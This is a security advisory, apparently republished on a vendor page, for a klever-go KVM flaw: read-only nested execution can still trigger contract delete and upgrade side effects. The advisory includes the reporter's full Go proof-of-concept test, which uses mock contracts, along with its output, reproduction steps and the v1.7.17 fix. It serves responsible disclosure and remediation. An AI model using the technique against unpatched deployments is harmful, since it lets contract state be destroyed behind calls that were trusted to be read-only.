Summary
Publisher note
Fixed in v1.7.17. Operators running < v1.7.17 should upgrade. Contract delete and upgrade host-core paths now reject execution when runtime.ReadOnly() is true. The invariant is regression-tested for delete, upgrade, storage writes, value transfers, and any VM output field that can later mutate chain state.
Patch commits on develop: 333f6ec9, 68b94a40 (merged from private fork associated with the original advisory).
This advisory was originally filed jointly with a separate P2P throttler DoS finding, now tracked under GHSA-74m6-4hjp-7226 so each issue receives its own CVE.
The original disclosure from @LoGGGG240211 follows verbatim, including the embedded proof-of-concept source.
Private Vulnerability Report
Repository: klever-io/klever-go
Reviewed commit: 405d01b0abbf0d3e73b4a990bd7394a01f200dc2
Disclosure channel: GitHub Private Vulnerability Reporting
Reporter GitHub account: LoGGGG240211
2.2 KVM read-only execution can commit contract delete side effects
Severity : Medium
Confidence : HIGH
Attack Complexity : MEDIUM
PoC Status : Confirmed
Description
KVM exposes ExecuteReadOnlyWithTypedArguments as a read-only execution mechanism. The hook saves the previous read-only state, sets runtime.SetReadOnly(true), executes the destination context, and then restores the previous read-only state. However, the indirect contract delete and upgrade paths do not reject execution when runtime.ReadOnly() is true. As a result, a contract reached through read-only execution can call the production delete hook for a target contract it owns. The delete path appends the target address to vmOutput.DeletedAccounts, the output context merges DeletedAccounts into the caller output, and the smart contract processor later processes the VM output by deleting accounts listed in that field.
The root cause is that read-only mode is applied as runtime state, but not enforced by the state-changing delete and upgrade host-core paths. This breaks the expected isolation boundary for workflows that rely on read-only calls to inspect another contract without allowing that callee to produce state-changing VM output.
Location
- baseOps.go, ExecuteReadOnlyWithTypedArguments(), line 2097
- baseOps.go, ExecuteReadOnlyWithTypedArguments(), line 2099
- execution.go, doExecContractDelete(), line 237
- execution.go, doExecContractDelete(), line 246
- execution.go, executeUpgrade(), line 792
- execution.go, executeUpgrade(), line 831
- execution.go, executeDelete(), line 839
- execution.go, executeDelete(), line 849
- output.go, PopMergeActiveState(), line 103
- output.go, mergeVMOutputs(), line 615
- process.go, processVMOutput(), line 755
- process.go, processVMOutput(), line 765
Preconditions
- A contract workflow invokes a callee through KVM read-only execution.
- The read-only callee owns, or otherwise satisfies the upgrade/delete permission checks for, the target contract.
- The target contract is upgradeable/deletable according to its KVM code metadata.
- No node operator privilege, validator role, oracle condition, or block-level timing condition is required.
Exploit Cost
The cost is normal KVM smart contract execution gas. No flash loan, collateral, oracle manipulation, or external capital requirement is needed. The attacker must satisfy the contract-level preconditions above.
Steps to Reproduce
- Place
poc_kvm_readonly_delete_side_effect_test.goin an empty directory. - Run the dependency commands listed in the PoC header.
- Run
GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go. - Observe that the parent contract invokes a child contract through
ExecuteReadOnlyWithTypedArguments. - Observe that the child contract uses the production managed delete hook against a target contract it owns.
- Observe that the final VM output contains the target address in
DeletedAccountsdespite the delete action being triggered through read-only execution.
Proof-of-Concept Result
Running GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go after dependency setup produces the following output. The result confirms that read-only execution commits a delete side effect into VM output.
# command-line-arguments.test
/usr/bin/ld: warning: bint-x64-amd64.o: missing .note.GNU-stack section implies executable stack
/usr/bin/ld: NOTE: This behaviour is deprecated and will be removed in a future version of the linker
=== RUN TestPoC_KVMReadOnlyCanCommitDeleteSideEffect
poc_kvm_readonly_delete_side_effect_test.go:90: deleted_accounts_before=0
poc_kvm_readonly_delete_side_effect_test.go:91: deleted_accounts_after=1
poc_kvm_readonly_delete_side_effect_test.go:92: target_deleted=true
--- PASS: TestPoC_KVMReadOnlyCanCommitDeleteSideEffect (0.00s)
PASS
ok command-line-arguments 0.007s
Proof-of-Concept Source
poc_kvm_readonly_delete_side_effect_test.go
package poc
/*
Target contract : Klever-Go KVM VM host hooks and smart contract processor; no on-chain address
Vulnerability : Read-only execution isolation bypass with contract delete side effect
Severity : Medium
How to run : GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go
Expected output : The test passes and logs deleted_accounts_after=1 and target_deleted=true
Dependencies : In an empty directory containing this file, run: go mod init klever-go-disclosure-poc; go get github.com/klever-io/[email protected]; go get github.com/stretchr/[email protected]; go mod tidy
*/
import (
"testing"
contextmock "github.com/klever-io/klever-go/kvm/mock/context"
worldmock "github.com/klever-io/klever-go/kvm/mock/world"
test "github.com/klever-io/klever-go/kvm/testcommon"
"github.com/klever-io/klever-go/kvm/vmhost/vmhooks"
"github.com/klever-io/klever-go/vmcommon"
"github.com/stretchr/testify/require"
)
func TestPoC_KVMReadOnlyCanCommitDeleteSideEffect(t *testing.T) {
// Build a production-relevant KVM setup with a parent contract, a child contract, and a target contract.
targetAddress := test.MakeTestSCAddressWithDefaultVM("readonlyTarget")
// Record the initial delete side-effect state before any read-only execution occurs.
deletedBefore := make([][]byte, 0)
require.NotContains(t, deletedBefore, targetAddress)
vmOutput, err := test.BuildMockInstanceCallTest(t).
WithContracts(
// The parent contract models the transaction entrypoint controlled by a user or contract workflow.
test.CreateMockContract(test.ParentAddress).
WithMethods(func(parentInstance *contextmock.InstanceMock, _ interface{}) {
parentInstance.AddMockMethod("callReadOnlyChild", func() *contextmock.InstanceMock {
host := parentInstance.Host
// The parent invokes the child through ExecuteReadOnly, which should not commit state effects.
result := vmhooks.ExecuteReadOnlyWithTypedArguments(
host,
100000,
[]byte("deleteTarget"),
test.ChildAddress,
nil,
)
require.Equal(t, int32(0), result)
return parentInstance
})
}),
// The child contract is called in read-only mode but attempts to delete a contract it owns.
test.CreateMockContract(test.ChildAddress).
WithMethods(func(childInstance *contextmock.InstanceMock, _ interface{}) {
childInstance.AddMockMethod("deleteTarget", func() *contextmock.InstanceMock {
host := childInstance.Host
managedTypes := host.ManagedTypes()
// Encode the target address and call the production ManagedDeleteContract hook.
destHandle := managedTypes.NewManagedBufferFromBytes(targetAddress)
argsHandle := managedTypes.NewManagedBuffer()
managedTypes.WriteManagedVecOfManagedBuffers(nil, argsHandle)
vmhooks.ManagedDeleteContractWithHost(host, destHandle, 100000, argsHandle)
return childInstance
})
}),
// The target contract is upgradeable/deletable and owned by the read-only child.
test.CreateMockContract(targetAddress).
WithCodeMetadata([]byte{vmcommon.MetadataUpgradeable, 0}).
WithOwnerAddress(test.ChildAddress).
WithMethods(),
).
// Execute only the parent entrypoint; the delete action is hidden behind ExecuteReadOnly.
WithInput(test.CreateTestContractCallInputBuilder().
WithRecipientAddr(test.ParentAddress).
WithGasProvided(500000).
WithFunction("callReadOnlyChild").
Build()).
AndAssertResults(func(_ *worldmock.MockWorld, _ *test.VMOutputVerifier) {})
require.NoError(t, err)
// The read-only nested call must not create delete side effects, but the vulnerable implementation does.
deletedAfter := vmOutput.DeletedAccounts
require.Greater(t, len(deletedAfter), len(deletedBefore))
require.Contains(t, deletedAfter, targetAddress)
t.Logf("deleted_accounts_before=%d", len(deletedBefore))
t.Logf("deleted_accounts_after=%d", len(deletedAfter))
t.Logf("target_deleted=%t", true)
}
Impact
Successful exploitation violates KVM read-only isolation and allows state-changing delete side effects to be produced from a read-only nested execution. The PoC demonstrates that DeletedAccounts changes from zero entries before execution to one target entry after execution. Practical impact depends on contract workflows that trust read-only calls as non-mutating. In such workflows, an attacker-controlled or untrusted callee could hide delete or upgrade effects behind a read-only call. The delete effect is reversible only through redeployment or state recovery procedures available to the protocol or contract owner.
CVE-2026-46403 has a CVSS score of 6.3 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.7.17); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Enforce read-only mode in every state-changing KVM host path. At minimum, reject contract delete and contract upgrade execution when runtime.ReadOnly() is true. The same invariant should be regression-tested for delete, upgrade, storage writes, value transfers, and any VM output field that can later mutate chain state.
Frequently Asked Questions
- What is CVE-2026-46403? CVE-2026-46403 is a medium-severity security vulnerability in github.com/klever-io/klever-go (go), affecting versions < 1.7.17. It is fixed in 1.7.17.
- How severe is CVE-2026-46403? CVE-2026-46403 has a CVSS score of 6.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/klever-io/klever-go are affected by CVE-2026-46403? github.com/klever-io/klever-go (go) versions < 1.7.17 is affected.
- Is there a fix for CVE-2026-46403? Yes. CVE-2026-46403 is fixed in 1.7.17. Upgrade to this version or later.
- Is CVE-2026-46403 exploitable, and should I be worried? Whether CVE-2026-46403 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-46403 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-46403? Upgrade
github.com/klever-io/klever-goto 1.7.17 or later.